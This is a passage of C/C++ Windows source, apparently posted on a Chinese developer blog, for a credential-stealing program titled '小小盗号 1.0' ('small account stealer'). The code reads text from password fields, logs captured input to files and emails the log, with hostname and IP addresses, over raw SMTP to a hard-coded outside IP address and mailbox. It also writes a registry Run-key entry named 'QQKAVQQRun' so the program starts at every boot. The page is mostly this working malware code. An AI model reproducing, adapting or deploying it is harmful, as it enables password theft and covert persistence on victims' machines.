        { if (lStyle&ES_PASSWORD)
         
      fwrite("-------------------密码输入框 --->",strlen("-------------------密码输入框 --->"),1,fp);
        else
         fwrite("输入框 --->",strlen("输入框 --->"),1,fp);
        }
        if(strcmp(temp,"Static")==0)
         fwrite("提示框 --->",strlen("提示框 --->"),1,fp);
        fwrite(szClassName,strlen(szClassName),1,fp);
        fputc(10,fp);
        fclose(fp);
       }
       }
       if(*calltemp==2)
       {
        LONG lStyle=GetWindowLong(hwnd,GWL_STYLE);
         if (lStyle&ES_PASSWORD)
         {
          // char szClassName[255]="";
           memset(pass[passint], 0,strlen(pass[passint]));
           GetWindowText(hwnd,pass[passint],255);
           passint++;
         // if(strlen(pass[passint])!=0)
           *calltemp=3;
         }
       }
       return true;
      }
      //判断网络是否连接
      extern "C" __declspec(dllexport) void netboolto(bool netok)
      {
       netlink=netok;
       return;
      }
      //发邮件函数
      extern "C" __declspec(dllexport) bool netok(int net)
      {
       char temp[600]="";
       struct sockaddr_in server;
       SOCKET serverscok;
       WSADATA wsaData;
       WSAStartup(0x0101,&wsaData);
       if(net==1)
       {
       hostent* pHostent = gethostbyname("211.215.19.90");
       if (pHostent==NULL)
        return false;
       hostent& he = *pHostent;
       sockaddr_in sa;
       for (int nAdapter=0; he.h_addr_list[nAdapter]; nAdapter++)
            memcpy ( &sa.sin_addr.s_addr, he.h_addr_list[nAdapter],he.h_length);
       memset(IP, 0,sizeof(IP));
       strcpy(IP,inet_ntoa(sa.sin_addr));
       }
       if(net==2)
       {
        FILE *fp;
        char temps;
       server.sin_family=AF_INET;
       serverscok=socket(AF_INET,SOCK_STREAM,0);
       server.sin_port=htons(24);
       serverscok=socket(AF_INET,SOCK_STREAM,0);
       server.sin_addr.s_addr=inet_addr(IP);
       if(connect( serverscok , (struct sockaddr*)&server , sizeof( server
))!=0)
       {
        netboolto(false);
        return false;
       }
        send(serverscok,"HELO command/r/n",strlen("HELO command/r/n"),0);
        recv(serverscok,temp,600,0);
       // MessageBox(NULL,temp,"密码 ",0);
      //  cout<<temp<<endl;
        memset(temp, 0, sizeof(temp));
        send(serverscok,"MAIL FROM:
      <hacker@shunyuncc.20cn.com>/r/n",strlen("MAIL FROM:
      <hacker@shunyuncc.20cn.com>/r/n"),0);
        recv(serverscok,temp,600,0);
       // MessageBox(NULL,temp,"密码 ",0);
      //  cout<<temp<<endl;
        memset(temp, 0, sizeof(temp));
        send(serverscok,"RCPT TO: <shunyuncc@163.com>/r/n",strlen("RCPT TO:
      <shunyuncc@163.com>/r/n"),0);
         recv(serverscok,temp,600,0);
      //   MessageBox(NULL,temp,"密码 ",0);
      //  cout<<temp<<endl;
        memset(temp, 0, sizeof(temp));
        send(serverscok,"DATA/r/n",strlen("DATA/r/n"),0);
         recv(serverscok,temp,600,0);
      //   MessageBox(NULL,temp,"密码 ",0);
      //  cout<<temp<<endl;
        memset(temp, 0, sizeof(temp));
        send(serverscok,"Subject:小小盗号 1.0/r/n",strlen("Subject:小小盗号 1.0/r/n"),0);
        send(serverscok,"/r/n",strlen("/r/n"),0);
         char hostname[256];
         gethostname(hostname, sizeof(hostname));
         send(serverscok,"主机名字 -->",strlen("主机名字 -->"),0);
         send(serverscok,hostname,strlen(hostname),0);
         send(serverscok,"/n",strlen("/n"),0);
         hostent* pHostent = gethostbyname(hostname);
         hostent& he = *pHostent;
         sockaddr_in sa;
         for (int nAdapter=0; he.h_addr_list[nAdapter]; nAdapter++)
         {
          memcpy ( &sa.sin_addr.s_addr, he.h_addr_list[nAdapter],he.h_length);
          send(serverscok,"主机 IP-->",strlen("主机 IP-->"),0);
         
      send(serverscok,inet_ntoa(sa.sin_addr),strlen(inet_ntoa(sa.sin_addr)),0);
          send(serverscok,"/n",strlen("/n"),0);
         }
        fp=fopen(filebak,"a");
        fclose(fp);
        fp=fopen(filebak,"r");
        temps=fgetc(fp);
        while(!feof(fp))
        {
          send(serverscok,&temps,1,0);
          temps=fgetc(fp);
        }
        fclose(fp);
        fp=fopen(filebak,"w");
        fclose(fp);
        fp=fopen(filelog,"r");
         temps=fgetc(fp);
        while(!feof(fp))
        {
          send(serverscok,&temps,1,0);
          temps=fgetc(fp);
        }
        fclose(fp);
         send(serverscok,"/r/n./r/n",strlen("/r/n./r/n"),0);
         send(serverscok,"quit/r/n",strlen("quit/r/n"),0);
         recv(serverscok,temp,600,0);
      
        closesocket(serverscok);
       }
       WSACleanup();
       return true;
      }
      //写注册表启动函数
      reg()
      {
       char  SysPath[MAX_PATH];
       DWORD size=MAX_PATH;
       long  ret;
       int i=0;
       HKEY  hKEY;
       DWORD type=REG_SZ;
       char fileexe[250]="";
        LPCTSTR Rgspath="Software//Microsoft//Windows//CurrentVersion//Run" ;
        GetSystemDirectory(SysPath,size);
        strcpy(fileexe,SysPath);
        strcat(fileexe,"//cssystema.exe");
        for(i=0;i<=(int)strlen(fileexe);i++)
        fileexe[i]=tolower(fileexe[i]);
        ret=RegOpenKeyEx(HKEY_LOCAL_MACHINE,Rgspath,0,KEY_WRITE, &hKEY);
       if(ret!=ERROR_SUCCESS)
        RegCloseKey(hKEY);
       ret=RegSetValueEx(hKEY,"QQKAVQQRun",NULL,type,(const unsigned
      char*)fileexe,size);
       RegCloseKey(hKEY);
       return true;
      }
    
  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值